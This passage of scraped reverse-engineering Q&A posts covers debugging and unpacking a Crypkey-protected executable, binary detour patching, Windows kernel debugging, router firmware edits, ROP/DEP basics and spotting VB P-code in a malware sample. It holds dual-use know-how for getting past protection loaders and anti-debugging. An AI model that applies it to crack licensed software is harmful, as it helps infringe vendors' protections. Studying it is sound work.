The bad news is that i want to unpack the main exe after executing of Crypkey loader but after patching main exe and loader to obtain an infinite loop at the end of the code of the loader i am unable to attach to main exe and reach the OEP.

\n\n

Do you know how or why i am unable to attack? A good solution in this cases?

\n\n

Thank you very much

\n\n

See image below:

\n\n

\"enter

\n", "Title": "Ollydbg and IDA Pro unable to attach to process", "Tags": "|ida|ollydbg|anti-debugging|", "Answer": "

Debug the loader.

\n\n

Set a breakpoint on CreateProcess (or ZwCreateProcess if needed)

\n\n

When the breakpoint is hit modify the process creation flags on the stack to include CREATE_SUSPENDED. \nMake sure to remove any debugging related flags such as DEBUG_ONLY_THIS_PROCESS etc.

\n\n

Single step over the CreateProcess call. At this point, the child process would be created in a suspended state. Now you should be able to attach a debugger to this.

\n" }, { "Id": "6430", "CreationDate": "2014-10-11T16:14:53.317", "Body": "

Is there a way to dump the stack of a program while debugging in ollydbg and store the result in a file ?

\n", "Title": "Dump the stack in Ollydbg", "Tags": "|ollydbg|stack|", "Answer": "
alt + k -> right click -> copy to clipboard whole table -> paste to notepad -> save\n
\n" }, { "Id": "6434", "CreationDate": "2014-10-12T17:47:50.137", "Body": "

I am attempting to recover the architecture for an open source application (Written in Java). Obviously I have looked at the available documentation but it has not given me the detail that I need to know. I would like to know what would be the best approach or the most used approach to solve this problem.

\n\n

I have heard that using request traces would be a good place to start (using something like btrace)? So lets say that the application is a basic web server would you make basic http request while doing the request tracing and then draw a sequence diagram from the data to visualize the process?

\n\n

I have also heard that generating a uml diagram from the source could be usefull? The project in question has over 300 classes so how would you proceed in generating the diagram, which parts of the system and which diagrams (class diagram maybe)?

\n\n

Also are there any other methods that are know to be effective that I should try specifically for a java application that sends and receives requests across a network?

\n\n

I am just trying to get a general direction to follow, or a pointer to a process that generally works well or any advice that would make the process easier.

\n\n

Thanks in advance

\n\n

EDIT:

\n\n

What I hope to achieve is a high level architecture design specification for the system. This includes architectural patterns as well as tactics used to achieve specific non-functional requirements (caching for performance). This is what the architecture currently looks like. It should be possible to, from the design spec, analyse the architecture and extend or change the design to possibly improve it or to cater for different non-function requirements.

\n", "Title": "Recover architecture. Open source application", "Tags": "|java|", "Answer": "

UML diagrams, function traces, and data flow maps won't be able to produce a high-level architecture design specification for a complex system. No automated software exists to produce the type of design specification for which you're looking.

\n\n

The solution is to read the existing code and documentation (or pay somebody else to do it), or to talk with the original developers/designers of the software.

\n" }, { "Id": "6436", "CreationDate": "2014-10-12T20:05:06.883", "Body": "

As part of an assignment, I am delving into the world of Internet Explorer, and am trying to figure out exactly what class(es) are being allocated on the heap.

\n\n

In the mshtml!CEventObj::GenericGetElement() method, the eax register points to an instance of a class, edi points to the object it references, and esi points to the vftable.

\n\n

This being said, I inserted a breakpoint that would list these registers each time through the function, and they always point to the same vftable.

\n\n

The vftable in question is mshtml!CBodyElement, but does this actually mean that all these instances are of the CBodyElement, or could they be for classes derived from CBodyElement.

\n\n

If they are from derived classes, how do I determine the actual classes being allocated ?

\n", "Title": "Windbg: going from vftable to c++ class", "Tags": "|dynamic-analysis|windbg|", "Answer": "

A derived class will get its own vtable if it overrides any of the virtual functions.

\n\n

If the derived class does not override any virtual functions, it will use the original vtable.

\n\n

I would say that your assumption is correct ~90% of the time.

\n\n

The best that you can do for static type recovery, is to look at the vtable being used.

\n\n

What you can do to help a bit is to turn one PageHeap with stack tracking (gflags.exe /i iexplore.exe +hpa +ust) and look at the address allocated for the object (!heap -p -a 0xaddress). This will give you a full stack trace to the allocation-site of the object, which is sometimes to determine the type of object (e.g. if a Factory pattern was used).

\n\n

Finally, there are additional dynamic analysis tricks you can play. I wrote a Pin tool and IDA Python plugin, ida-splode for almost exactly this application. By capturing information at runtime, you can enhance your IDA traces. Below is an example screenshot from the slide deck. The better symbol information you have (or the better fleshed-out your IDB is), the better the information you get.

\n\n

\"enter

\n" }, { "Id": "6444", "CreationDate": "2014-10-14T03:48:04.193", "Body": "

There are lots of programs I seen that can locate a swf running in memory, capture it and return source code. Usually the AS byte code is generated as well.

\n\n

What I looking to do is the opposite, I'm trying to match a section of Action Script byte-code to a section of disassembly from a Shockwave Flash program.

\n\n

Basically match p-code to disassembly.

\n\n

Is there any good techniques or software that can do this.

\n", "Title": "Matching ActionScript byte code to the Disassembly of a Shockwave Flash", "Tags": "|assembly|byte-code|actionscript|", "Answer": "

This is how it works at .NET. When the method is compiled a table is generated that contains the information (including offset, length) to match MSIL code to their machine code counterparts. However not all MSIL instructions have meaningful machine code counterpart, instead the table contains the info to match a sequence of MSIL instructions (block) to the machine counterparts.

\n\n

You can access the table via Debugging or Profiler interface, or as I did, you can reverse engineer.

\n\n

I'm not sure if such table exists in Flash, and if so is there a way to get it via documented function calls. But this should be one technique to consider.

\n" }, { "Id": "6448", "CreationDate": "2014-10-14T13:46:50.143", "Body": "

I'm reversing a program that uses a lot of BREAK/int 3 (Linux). I guess that the code contains something like:

\n\n
void sigtrap_func(int sig) { (some stuff..) }\n\nint main()\n{\n  signal(SIGTRAP, sigtrap_func);\n  (some stuff)\n  asm(\"int 3\");\n  (and so on)\n  asm(\"int 3\");\n\netc..\n
\n\n

I replaced all SIGTRAP by NOPs and the program behave differently than with them. So, I'm sure that something is done inside the sigtrap function.

\n\n

How can I find this function just with the assembler ?

\n", "Title": "Find sigtrap function", "Tags": "|linux|anti-debugging|", "Answer": "

Just like in your sample program, the signal handlers are installed using a signal (or sigaction) function. So you just need to find the call to that function and see what argument is passed to it. That argument will be the address of the signal handler.

\n" }, { "Id": "6455", "CreationDate": "2014-10-15T04:47:33.150", "Body": "

At the professional level, for what purpose is reverse software engineering used? What software is targeted and why?

\n\n

For reasonably complex compiled code that's doing something novel, making meaningful insights into how that code operates via reverse engineering seems like it would be enormously intensive of expertise, labor, and time. In particular, I imagine that hiring competent assembly programmers is extremely difficult and possibly expensive. And yet, I haven't the foggiest idea where entities with the resources to do so would want to spend those resources.

\n\n

This is my list of possibilities...

\n\n
    \n
  1. Writing malware
    2. \n
  2. Writing counter-malware
    3. \n
  3. Maybe analyzing competitors products?
    4. \n
\n\n

It's not a great list. What is the reality here? What sort of software justifies the expense to be reverse engineered?

\n\n

See the comments on 0xC0000022L's answer for some refinement of the question.

\n", "Title": "What are the targets of professional reverse software engineering?", "Tags": "|disassembly|", "Answer": "

There are already a lot of great answers. If I may add my two cents. Reverse engineering software is akin to the mechanic or tinkerer whom just enjoys taking things apart, understanding how they work, putting them back together, and possibly modifying their subject to adapt its behavior so it is more to their liking. There is no shortage of examples in the physical realm.

\n\n

Any Electrical Engineer, hardware designer, and the most eliete QA engineers are talented reverse engineers; which is to say, they have an expertise in debugging/analyzing software/hardware implementations. I interned at AMD as I worked my way through school and my debugging skills not only helped me advance to more serious roles within the company, but it is also really fun! Like a game or puzzle that you can play for as long as you want. The challenges will never stop coming.

\n\n

My favorite example of a legitimate need for reverse engineers is NASA. They are not the only outfit where the phrase \"mission critical\" applies, where people's lives depend on the quality of their work, but it is the only one that has to fix problems even if their product is hurtling through space. They have to set and freeze product versions years before that software / hardware ever goes to the launch pad. That may seem silly, because the phones in our pocket have more computing power than the entire shuttle, but they can't use modern technology. It's too risky. They have to accept what is available at the time that the specs are frozen and that's it - lest they incur the scheduling and workload that upgrading, testing, fixing, re-testing, verifying again, simulating realistic conditions to determine failure points, fixing it, and starting over.... it is serious business and those engineers do not take their responsibility lightly.

\n\n

Would you be surprised to learn that NASA projects have used Microsoft OSes on hardware went into shuttle components? It is not much different than using a M$ OS as the foundation for, say for instance, a point-of-sale terminal or for the control system at a power plant. Now consider a scenario where the OS, the hardware, or some portion of third-party software is found to have a flaw in it. Moreover, imagine that the vendor does not care about the flaw to the degree that NASA does and decides that there is no fiscal motivation for them to fix the issue - even if lives depend upon that component not failing. NASA is stuck.

\n\n

At this point their options are to either replace the component and start their processes all over - a huge cost in time, man-hours, and no guarentee that they won't discover another critical flaw after upgrading; or, instead of upgrading, they can reverse engineer the hardware/software failure and determine if they could fix the problem themselves - maybe it would take some curcuit re-design, changing the values of a few resistors so that voltage levels on the memory bus stayed within required limits under the extreme conditions that were making them fail or maybe there is a binary patch that they can apply that to mitigate the error state they discovered where life-support systems began failing or a probe's batteries drained and left it unable to re-charge itself.

\n\n

I'm not totally making these scenarios up. They come from stories I have been told, by friends who worked at JPL, my engineering professors when I was in the University, or colleagues that have worked with in the tech industry. All this, and more, has been surmounted by NASA's engineers. It did cost quite a bit more than India paid (tip of the hat to them too), to do what they have done, but the first time through is always more costly.

\n\n

Technically, NASA engineers would be violating one or more of the intellectual property laws that vendors claim they have (they may or may not actually have those rights; I\"m not trying to debate that here). If you bought a corvette, you would be completely within your rights to bore out the cylinders to change your car's performance profile. Different tires. Modified suspension. Tweaked timing and mixture ratios in the fuel injection system. The famous Shelby Cobra is not only modified, but also remarketed with its aftermarket modifications- all entirely legal.

\n\n

If you bought a radio and wanted to make some modifications, so that it was water proof and you could take it on the lake with you. Amplify it's output so that it would still be audible over the boat engine, or anything of that sort... legal.

\n\n

Now, jailbreak your iPhone, modify your xBox or the Kinect system that came with it, or, in NASA's case, modify the OS and/or re-engineer the memory bus on a motherboard, to ensure the safety of a human mind you. All of these activities have evoked fierce reactions from the vendors that, for whatever their reasoning, do not want those activities to be continue nor become more widespread. Ultimately, this led to the DMCA laws that we have today being passed. Before that, even if you were clicking \"I agree\" to the rediculus terms and services that were put before you there was still the question if that contract was legal enforceable.

\n\n

The DMCA, which does nothing to disuade the massive blackmarkets in China or South America, carries harsh penalties and has been treated as a kind of \"hunting license\" for those that wish to go after consumers can and have. Should it be illegal to make unlicensed copies of someone elses music; to sell, trade, or even give it away?

\n\n

Clearly, that should be illegal. Artwork, books, patented processes, protected trademarks; yes, those should be protected too. Software and hardware; again, yes the the author of software should be able to enforce resonalbe aspects of their licensing that protect the the investment that have made to create said software or hardware. Explicitly, it is, and should remain, illegal to puchase one copy legitimately, turn around and make copies, and then sell/trade/or give the unlicensed copies. Microsoft, VMWare, Adobe, and similar big companies should retain that right.

\n\n

Now, once I have licensed the software or hardware can I make modifications and then sell/trade/or give away the software/hardware that featured my modifications. That depends. It i, and should be illegal, to profit from derivatives works beyond the limit to which you originally licended the art (i.e. software). For example, you could not draw the likeness of a Disney character, change the name, and then claim it as your own and profit from it's use. I believe that Mikey no longer protected, but when he was that was and should be illegal.

\n\n

Should a computer hobbyist, like the ones that we credit for founding the industry today, be allowed to to explore, tinker, change, discuss, show, or teach any manner of activity that they desire on their legally licensed software and hardware? I won't answer that, but I will say that the DMCA says \"no\". In fact, the same tools that a reverse engineer would use for debugging the operating system are the very same tools that the prosecution will cite as evidence of illegal activity.

\n\n

Let's be a little more giving for someone prosecuting a DMCA case where the accused was know to have accessed the cryptographic keys that, among other things, would allow the defendant to make copies of protected art (e.g. music and movies). There are some legitimate reasons that could explain the defendants actions, but not many and the illegal activities that could be pursued are costly to those that are trying to protect themselves. At the end of the day, even though they tried their best, there is no way to actually prevent anyone from accessing those cryptographic keys.

\n\n

It reminds me of the tag on a mattress waring of insanely harsh penalties for removing said tag, but there is no protection for the tag. Just threats and overreaching penalties that are used to make examples out of as they stoke the fire and declare a witch hunt.

\n\n

Should Apple be able to prosicute a security research whom respectfully, and sincerely trying to help and support Apple make better products, be prosicuted by the technology giant? Hell no, but you better believe that they tried - that happened. The employees of Target or Home Depot that warned of potential dangers; where are they now? They were fired, run-off, considered a nuisance to the company, shunned, and labeled as \"not a team player\". In the wake of the data breaches that Target, Home Depot, and countless others (certainly at least one of these events has impacted your life) it is more apparent now than ever that reverse engineering is not only a right, but an aspect of our emerging social structure that is going to be needed more than ever to 1) protect the innocent consumers and digital citizens of the world like yourself and 2) hold accountable those whom are responsible to take reasonable measure to protect the community that entrusted them with their well being (granted in exchange for a service).

\n\n

The NSAs, the CIAs, the DeutcheBanks, the HealthCare.govs, and the hospitals that we all wanted and empowered to do what they have done. It is the reverse engineer who will become the modern freedom fighter, tomorrows activist, that is going to be on your side, the little guy, when power corrupts and greed lets way to disregard for the responsibilities that were implicit in the power granted to those organizations. To be just a bit more dramatic about it; reverse engineers are the priests of a new religion. We should honor them, applaud their bravery standing up to those drunk on power, and protect them when they risk the privacy of their family to step into the line of fire, on our behalf, because it is \"the right thing to do\".

\n\n

If you know one of these individuals- buy them a beer tonight and say thank you. As much as any soldier, they are going to be the ones that protect us when the next digital tragedy is impending.

\n" }, { "Id": "6463", "CreationDate": "2014-10-15T13:02:12.167", "Body": "

NISIS installers compress data using bizp2, lzma or zlib -- I don't know if there are others algorithms--.

\n\n

At some point in the installation process one of those algorithms has to be applied to certain buffer of data. Of course, that data was readed from the disk --contained into the installer--.

\n\n

How can I debug a NISIS installer in order to know where the installer files are? What I have to look for?

\n\n

Note: I can work with OllyDbg or IDAPro.

\n", "Title": "How to debug a NSIS installer in order to find where the compressed data is?", "Tags": "|debugging|", "Answer": "

Well, without reject Igor Skochinsky's answer I want to post this more landed in the fact of how to find where compressed data is.

\n

Peter Kankowski wrote:

\n
\n

NSIS authors found a fast solution using marker. It's so simple that you will say: "Why didn't I think about it?!"

\n

Just remember that data in an exe file is aligned by 512 or 4096 bytes. So you don't need to scan the whole exe for a marker, you just need to read 512-byte chunks and look for marker at their start. In pseudocode:

\n
\n
BYTE buff[512];\nwhile(not end of file) {\n   ReadFile( 512 bytes into buff)\n   if(*(long*)buff == marker) {\n       // Marker found!\n   }\n   // else read another 512-byte chunk in the loop\n}\n
\n
\n

I believe it's the simplest method; it's also faster than other methods with marker.

\n
\n

So as you can see NSIS installer have some sort of marker. So, just look for the ReadFile API call, follow the program flow until the loops start again an watch for the last jump before the loop repeat it has to have a comparision around.

\n

And there you have the marker.

\n

If you want read more you can visit this very useful article: Self-extracting executables, thanks to Peter for a good adn clean explanation.

\n" }, { "Id": "6469", "CreationDate": "2014-10-15T15:44:13.473", "Body": "

How does R.java work? In a compiled .apk file, does it contain all constants from the XML files prior to compilation? I've decompiled an app using several Java RE tools, and used apktool to extract the resources (xml files, images and others). However, when rebuilding the project in Eclipse, the R.java generated by Eclipse (in the gen folder) does not match the original R.java from the decompiled app. Is this a common occurrence when reversing android apps? In this case, the original R.java contains fields consistent with the rest of the code. However, this is not present in the generated R.java and hence this error.

\n\n

The decompilers I used are

\n\n

1) JEB (Commercial)

\n\n

2) jadx (Open-source)

\n\n

\"enter

\n", "Title": "R.java to xml file", "Tags": "|decompilation|android|java|", "Answer": "

The R.java file created by jadx exists to be a reference between the resources id after compilation and the name of the resource mentioned throughout the code.

\n\n

If you wish to recompile it, it is possible to recreate something that looks like the original xml files by creating a script that ignores a part of the prefix and searches for the resource's name. Once it is located inside the xml files, specify the correct one.

\n\n

And I think that apktool provides a much better reference to the resources xml files.

\n\n

But if what you wanna do is make just a small change, it will be faster to do it with smali and use apktool to put it all back together again.

\n" }, { "Id": "6473", "CreationDate": "2014-10-15T19:08:47.783", "Body": "

An application I'm reversing frequently outputs debug strings. Some of them could aid me in locating the code I'm looking for, but somehow, the app doesn't seem the be using OutputDebugString at all (I've used IDA's Imports window, Olly's Search for intermodular calls, and dumpbin /IMPORTS). The program only imports native Windows DLLs and one custom library which does call the function, but I've checked it and all its debug strings are internal stuff, there's no exported logging function for my exe.

\n\n

Additionally, the debug strings being printed cannot be found inside the exe (again, tried both Olly and IDA).

\n\n

Is it possible that the call is somehow hidden by not using WinAPI? Since the program is in no way protected, I find the use of any such techniques highly unlikely, but could that be why I can't find anything using \"ordinary\" methods?

\n", "Title": "App prints debug strings but no OutputDebugString used", "Tags": "|windows|debuggers|", "Answer": "

Ollydbg

\n\n

Alt+O -> events -> check mark break on debug string on break

\n\n

Hit Alt+K to view call stack

\n\n

WinDbg

\n\n
sx- -c \"kc\" out\n
\n\n

This will print the call stack automatically on each and every DebugString.

\n\n
0:000> g\n\nThis is from Win32Api\nGoing deeper now\n\nkernel32!RaiseException\nkernel32!OutputDebugStringA\ndbgprints!wmain\ndbgprints!__tmainCRTStartup\nkernel32!BaseProcessStart\nhello from ntdll!DbgPrint \n\n\nntdll!vDbgPrintExWithPrefix\nntdll!DbgPrint\ndbgprints!wmain\ndbgprints!__tmainCRTStartup\nkernel32!BaseProcessStart\n(5d8.950): Unknown exception - code eaceba5e (first chance)\nThis String is from RaiseException argument 1\n
\n" }, { "Id": "6479", "CreationDate": "2014-10-16T08:44:01.377", "Body": "

I've seen references on Stack Exchange and elsewhere to inserting detours into compiled code. My understanding is that essentially a jmp instruction is inserted and then somehow the patched program is linked with additional code that contains the target of the jmp.

\n\n

As a concrete but (hopefully) simple example, consider a program.

\n\n
#include <stdio.h>\n\nvoid hello(void) {\n    printf(\"Hello \");\n    printf(\"world!\\n\");\n}\n\nint main(void) {\n    hello();\n}\n
\n\n

Suppose I have only a binary compiled from this program. No measures have been taken to strip symbols or obfuscate the program in any way. I want to insert a detour to call code compiled from this function.

\n\n
#include <stdio.h>\n\nvoid detour(void) {\n    printf(\"detoured \");\n}\n
\n\n

The output of the patched program should be:

\n\n
\n

Hello detoured world!

\n
\n\n

How would I do that? How would I avoid breaking address offsets in the compiled code?

\n\n

My available compilers are gcc, clang, and icc. My available operating systems are OS X and Ubuntu. Choose whatever you prefer in your answer.

\n\n

If this can't reasonably be answered here then a brief overview and a pointer to some reading material would also be a good answer.

\n\n

I'm aware of LD_PRELOAD and ld --wrap. The example was chosen so that those methods do not easily suffice. (You could of course just detour the entire hello() function to one that prints \"Hello detoured world!\" but lets pretend you don't have the source code and the function is non-trivial.)

\n\n

Related Questions

\n\n

I was first going to ask how to simply disassemble and reassemble a compiled program but that has been asked. The response was that it's extremely difficult. My sense from the answers is that it's not a common thing to do. I suspect my assumption that disassembling and reassembling is a necessary step for detouring might not be correct.

\n\n

Why there are not any disassemblers that can generate re-assemblable asm code?

\n\n

A similar question on StackOverflow received a lukewarm response. This question is focused just on inserting a detour rather than \"modification\" in general and I think the audience here will be more receptive.

\n\n

https://stackoverflow.com/questions/4309771/disassembling-modifying-and-then-reassembling-a-linux-executable

\n\n

This Reverse Engineering question asks about modifying binaries in general. A lot of different tools and LD_PRELOAD are mentioned. Some answers say it's possible to do this with a hex editor. I think that's the method I'd be most interested in.

\n\n

How do I add functionality to an existing binary executable?

\n\n

Recent examples I have seen that refer to doing such a thing

\n\n

A blog post.

\n\n

http://charlessolar.com/post/tag/disassemble

\n\n

This Stack Overflow question.

\n\n

https://stackoverflow.com/questions/9449845/how-to-link-object-file-to-executable-compiled-binary

\n", "Title": "Insert jmp detour into a compiled program", "Tags": "|disassembly|c|reassembly|", "Answer": "

I compiled your program on Ubuntu 14.04 and put it on https://mega.co.nz/#!gdRRxRzZ!dw08GEHvXeTxXqurcpMLOxpXVjZa807TJN0PH60h4Rg;\nyou might want to use that binary if you want to retrace the following\nsteps, because if you don't have the exact version of the C compiler and\nlibs, your binary might be different.

\n\n

The file is a zip that includes the original detour.c, the compiled program (detour.orig), and the patched one (detour.patched).

\n\n

First, let's disassemble the binary using objdump:

\n\n
$ objdump -d detour.orig|less\n.. stuff omitted ..\n000000000040057d <hello>:\n  40057d:       55                      push   %rbp\n  40057e:       48 89 e5                mov    %rsp,%rbp\n  400581:       bf 34 06 40 00          mov    $0x400634,%edi\n  400586:       b8 00 00 00 00          mov    $0x0,%eax\n  40058b:       e8 d0 fe ff ff          callq  400460 <printf@plt>\n  400590:       bf 3b 06 40 00          mov    $0x40063b,%edi\n  400595:       e8 b6 fe ff ff          callq  400450 <puts@plt>\n  40059a:       5d                      pop    %rbp\n  40059b:       c3                      retq\n\n000000000040059c <main>:\n  40059c:       55                      push   %rbp\n  40059d:       48 89 e5                mov    %rsp,%rbp\n  4005a0:       e8 d8 ff ff ff          callq  40057d <hello>\n  4005a5:       5d                      pop    %rbp\n  4005a6:       c3                      retq\n  4005a7:       66 0f 1f 84 00 00 00    nopw   0x0(%rax,%rax,1)\n  4005ae:       00 00\n00000000004005b0 <__libc_csu_init>:\n.. more stuff omitted ..\n
\n\n

and also check the data sections:

\n\n
$ objdump  -s detour.orig | less\n.. stuff omitted ..\nContents of section .rodata:\n 400630 01000200 48656c6c 6f200077 6f726c64  ....Hello .world\n 400640 2100                                 !.\nContents of section .eh_frame_hdr:\n.. more stuff omitted ..\n
\n\n

As you see, the strings Hello, world are in the read-only data section, at 400634 and 40063b. These offsets are passed\nto printf and puts in hello. Why puts? Well, the optimizer is clever enough to rewrite a printf of a constant string\nthat ends in '\\n' into a puts; you can see the '\\n' is omitted from the string in the .rodata section.

\n\n

Now, we want to insert a puts(\"detoured\"). But there's no space in the hello function, and if we tried to insert some bytes\nthere, everything else in the program would be moved, which we want to avoid. Also, there's no space in the .rodata section\nfor another string, the .eh_frame_hdr starts directly behind it.

\n\n

However, check address 4005a7. The main function returns at 4005a6, and the C compiler used some padding to get the next\nfunction, __libc_csu_init, at a 16-byte boundary. Which means there are a few unused bytes that we can make use of.\nLooking through the rest of the disassembly, we find some more bytes like that:

\n\n
4004ba          66 0f 1f 44 00 00\n4004e9          0f 1f 80 00 00 00 00\n400529          0f 1f 80 00 00 00 00\n4005a7          66 0f 1f 84 00 00 00 00 00\n400615          66 66 2e 0f 1f 84 00 00 00 00 00\n
\n\n

The last one of these, 400615, has the size to fit the \"detoured \" string in.

\n\n

Now what we're going to do with the assembly is patch it to:

\n\n
400590          jmp 4004e9                              e9 54 ff ff ff\n4004e9          mov $0x400615, %edi; jmp 400529         bf 15 06 40 00 eb 39\n400529          callq 400460; jmp 4005a7                e8 32 ff ff ff eb 77\n4005a7          mov 0x40063b, %edi; jmp 400595          bf eb 06 40 00 eb e7\n
\n\n

which overwrites the instruction at 400590, places the required instructions in the spare bytes, adds jumps between the parts,\nand restores the overwritten mov before jumping to the next instruction.

\n\n

Now, it's time to use a hex editor to apply these patches to the binary (don't forget to move the 'detoured ' string to 400615\nas well). The resulting binary should be identical to detour.patched from the zip.

\n\n

Last, we run the patched program:

\n\n
$ detour.patched\nHello detoured world!\n
\n\n

As you see, the trick is to make us of unused regions within the program, to avoid moving stuff around, which would break offsets.\nI cheated a bit when i put the \"detoured\" string into the code section - this would fail if anything wanted to write-access the string.\nIf i wanted writable data, i would need to use the data section, and possibly even extend it - but that case is much more\ncompliated since i'd have to fiddle with the ELF headers and sizes, and i'd probably need specific ELF tools to get it right.\nThe current example needs nothing but a hex editor. I even crafted the hex coded manually from the opcodes; to get a bit more \nsophisticated, use the radare2 tool.

\n" }, { "Id": "6483", "CreationDate": "2014-10-16T15:13:55.870", "Body": "

On a x64 Windows 7 I want to get the limits of non paged pool. I know that _KDDEBUGGER_DATA64 structure has this information (fields like MmNonPagedPoolStart and MmNonPagedPoolEnd). \nOn x86 systems this structure was obtained from KPCR.KdVersionBlock, but looking with WinDbg at KPCR's on x64 systems, KdVersionBlock seems to always be null.

\n\n

Is there a way of getting this structure? Or another way of getting what I want? Maybe I'm not looking in the right place.

\n", "Title": "Obtaining MmNonPagedPoolStart on x64 systems", "Tags": "|windows|memory|", "Answer": "

nt!KdDebuggerDatablock used to be a public global symbol in NT

\n\n
lkd> x/v nt!KdDebuggerDataBlock\npub global 80545b60             0 nt!KdDebuggerDataBlock = <no type information> \n
\n\n

dpS nt!KdDebuggerDataBlock lxxxx should fetch the NonPagedPoolStart

\n\n
lkd> !grep -i -c \"dpS nt!KdDebuggerDataBlock la5\" -e \"pool\"\n 8055b5a0 nt!ExpPagedPoolDescriptor\n 8054ab2c nt!ExpNumberOfPagedPools\n nt!MmMaximumNonPagedPoolInBytes\n 80553cb8 nt!MmNonPagedPoolStart\n
\n\n

This should get the complete structure

\n\n
lkd> .printf \"%ma\\t%08x\\n\" , nt!KdDebuggerDataBlock+10,poi(nt!KdDebuggerDataBlock+14)\nKDBG    00000290\nlkd> .for (r $t0=0 ; @$t0 <poi(nt!KdDebuggerDataBlock + 14) ; r $t0 = @$t0+4) { .printf \"%08x\\t%08x\\t%y\\n\", (nt!KdDebuggerDataBlock + @$t0) ,poi(nt!KdDebuggerDataBlock + @$t0) ,poi(nt!KdDebuggerDataBlock + @$t0) }\n
\n" }, { "Id": "6503", "CreationDate": "2014-10-19T15:58:16.097", "Body": "

I have managed to get a root shell on my web filtering router by plugging into a UART on the PCB which allowed me to see a process (lockbox.bin - ELF executable) running which handles most of the filtering functions. After extracting the lockbox.bin file and analyzing it with IDA pro, I've made some modifications to the file. I now need to get it back on the device to see if the changes worked, but when I try to make changes to the filesystem I get a message saying that the file system is read only. I suppose it's only a matter of mounting the filesystem as read/write, but I'm not sure how to do that (Access the boot loader?). The Busybox instance on the device is missing the mount command. The router in question is a re-branded realtek rtl8196b.

\n\n

Any Suggestions?

\n\n

Disclaimer: This is the first time that I've have done something like this so I may be missing a very basic step. Any help would be appreciated.

\n", "Title": "How do I restore modified firmware to a read only mount", "Tags": "|disassembly|linux|embedded|", "Answer": "

It's very probable that the firmware is stored in a squashfs image, which is compressed (and supposed to be read-only - it can't be mouted read-write, but must be created through external means), The squashfs image will probably be stored in some piece of flash ram, which can be accessed as /dev/mtbn on many linux embedded devices, which multiple values of n refering to different parts of the firmware (boot loader etc.).

\n\n

Often, the boot loader itself is in /dev/mtb0, and has commands to write to the other /dev/mtb blocks.

\n\n

So, your course of action would be

\n\n\n\n

As you say

\n\n
\n

This is the first time that I've have done something like this

\n
\n\n

the chance of

\n\n
\n

brick it in the process.

\n
\n\n

is certainly non-zero, so proceed with caution.

\n" }, { "Id": "6506", "CreationDate": "2014-10-20T08:33:51.973", "Body": "

I am currently participating in a reverse code engineering seminar for my studies in informatics: games engineering and was assigned the topic about \"Identifying data structures\". After an extensive talk with my supervisor we both came to the conclusion that it would make sense that i combine the topic with reversing game binaries.\nOur deliverables are a 15 page paper and a small tool implementing the techniques we talk about in the paper. We do not necessarily need to invent a new technique.

\n\n

I already did some research about reverse engineering data structures in general and came up with mostly tools that automatically reverse engineer data structures from binary execution (e.g. https://www.utdallas.edu/~zxl111930/file/Rewards_NDSS10.pdf)

\n\n

Now my question is: What would be a reasonable tool to program or a technique to write about in relation to reversing data structures from video game binaries (like World of Warcraft)? Is the method mentioned in the paper above still applicable to game binaries or are there any other known techniques?

\n\n

I do have some experience when it comes to reverse engineering, but i am no where near \"pro\"-level. I am mostly working on a Windows (x64) platform.

\n", "Title": "Reverse Engineering of data structures in games", "Tags": "|windows|c++|", "Answer": "

If you consider a different approach, that is statically analyze the data formats without binary execution, I suggest to have a look at this blog post describing \"the methods for examining unknown binary formats that can be either a file, file fragment, or memory dump.\"

\n" }, { "Id": "6512", "CreationDate": "2014-10-21T09:57:59.503", "Body": "

I am trying to teach myself some ROP programming. And I have tried\nto do some training exploits from different sites. So, right now, I have this\nlittle application where GS, safeSEH ALSR and DEP are enabled (on application level not on OS). So, when I make an attempt to exploit this application it works pretty well ( http://pastebin.com/TdDR3W0y). It just pops calc.exe.

\n\n

But, on the other side, when I enable OS level DEP, then my exploit generates a segfault and crashes the application.

\n\n

So, my question is what is the difference between application level DEP and OS level DEP ? Do, I have to make other/different function calls (instead to VirtualProc) when I try to circumvent DEP ?

\n", "Title": "What is the difference between application level DEP and OS level DEP?", "Tags": "|debuggers|exploit|", "Answer": "

Based on the hard-coded values in your code, you are not defeating ASLR at all (0x7c801ad4, 0x0012fbd0, 0x0012fbd0), and perhaps the application does not support it either (0x1003c898, 0x10086d6a), because none of those values should be constant when ASLR is working properly. The likely reason why you are seeing segfaults is because the 0x7c801ad4 for VirtualAllocEx() probably moved between reboots, as a result of ASLR, but which is visible as a side-effect of enabling DEP and then rebooting.

\n" }, { "Id": "6515", "CreationDate": "2014-10-21T21:28:48.993", "Body": "

I have downloaded a sample of a malware to analyze it. First, I opened it with PEiD to look if it is packed. \nPEiD gives me the following information:

\n\n
   Microsoft Visual Basic 5.0/6.0\n
\n\n

So, I assumed that it is not packed. \nWhen I opened it using ollydbg shows me the following lines:

\n\n
   PUSH malware.00401F8C\n   CALL <JMP.&MSVBVM60.#100>\n   ADD BYTE PTR DS:[EAX],AL\n   ADD BYTE PTR DS:[EAX],AL\n   ADD BYTE PTR DS:[EAX],AL\n   ADD BYTE PTR DS:[EAX],AL\n   ADD BYTE PTR DS:[EAX],AL\n   INC EAX\n   ADD BYTE PTR DS:[EAX],AL\n   ADD BYTE PTR DS:[EAX],AL\n   ADD BYTE PTR DS:[EAX],AL\n   DB 00\n   DB 1D\n   ....\n   ....\n
\n\n

So, normally it should start with a function prologue(the typical beginning line with PUSH EBP and so on) but although it is not packed, obviously the program tries to make the analyzing process harder (for me). \nWhen I step to the second line( CALL <...>), then the process begins to run and does not stop. In my previous cases, I have only unpacked malware samples that were packed with UPX. So, a piece of code like that above is completely new for me. So:

\n\n

How should I solve this? Can someone give me an advice how I can handle that?

\n\n

best regards,

\n", "Title": "Unpacking a program which seems to be not packed?", "Tags": "|unpacking|visual-basic|", "Answer": "

Your program is not packed, but rather compiled as Visual Basic P-code or Visual Basic native code.

\n\n

If it's VB native code, you can use your favorite debugger (OllyDbg, IDA, etc.) to debug it, and IDA to disassemble it.

\n\n

If it's VB P-code, you can use VB Decompiler Pro to disassemble/decompile it:\n\"VB

\n\n

... and WKTVBDE to debug it:\n\"enter

\n\n

Note that VB Decompiler Pro is useful even for statically analyzing VB native code.

\n" }, { "Id": "6521", "CreationDate": "2014-10-22T18:31:59.687", "Body": "

I keep coming across a compiling pattern that IDA doesn't automatically handle well. Consider the following example:

\n\n
mov rax, rsp       ; Set rax at the start of the function\n...\nlea rbp, [rax-5Fh] ; Shortly afterward, set rbp as the frame pointer at a nonstandard offset\n...\nmov [rbp+3Fh], rcx ; Reference all stack offsets from rbp for the rest of the function\n...\n
\n\n

In this example, it appears that IDA has lost track of rbp's state as an offset into the stack frame, presumably because of the additional indirection. (We copy from rsp to rax to rbp, rather than just from rsp to rbp)

\n\n

